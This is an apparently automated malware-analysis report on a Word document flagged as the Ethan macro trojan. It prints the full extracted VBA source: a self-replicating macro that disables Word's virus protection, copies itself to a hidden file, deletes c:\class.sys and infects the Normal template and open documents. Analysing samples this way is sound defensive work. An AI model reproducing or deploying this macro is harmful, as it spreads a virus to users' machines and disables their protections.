MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is identified as malicious by ClamAV with multiple signatures, indicating a known malware variant. The embedded VBA macro attempts to copy its own code to 'c:\grover.___' and includes logic that suggests an intent to establish persistence or facilitate further execution, although the exact mechanism is obfuscated. The macro also attempts to disable virus protection and modify document properties.
Heuristics 2
-
ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ethan-20
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1965 bytes |
SHA-256: 944c88cdd66d8b5319bc02277433e2bd9a6afe7334105cd2141d06fb9b6b6f7c |
|||
|
Detection
ClamAV:
Doc.Trojan.Ethan-11
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
' Sorry Mr Ethan Frome...
' But thanks anyway...
On Error Resume Next
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Application.EnableCancelKey = Not -1
If Dir("c:\grover.___", 6) = "" Then
Open "c:\grover.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\grover.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\grover.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
Kill "c:\grover.___"
End If
End Sub
Private Sub Document_New()
ActiveDocument.Content.LanguageID = wdNoProofing
ActiveDocument.Content.ParagraphFormat.Alignment = wdAlignParagraphCenter
ActiveDocument.Content.Font.NameAscii = "Arial"
ActiveDocument.Content.Font.Animation = wdAnimationShimmer
ActiveDocument.Content.Font.Bold = True
ActiveDocument.Content.Font.Size = 24
ActiveDocument.Content.Text = ActiveDocument.Content.Text + "Super Grover"
ActiveDocument.Content.LanguageID = wdEnglishUK
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.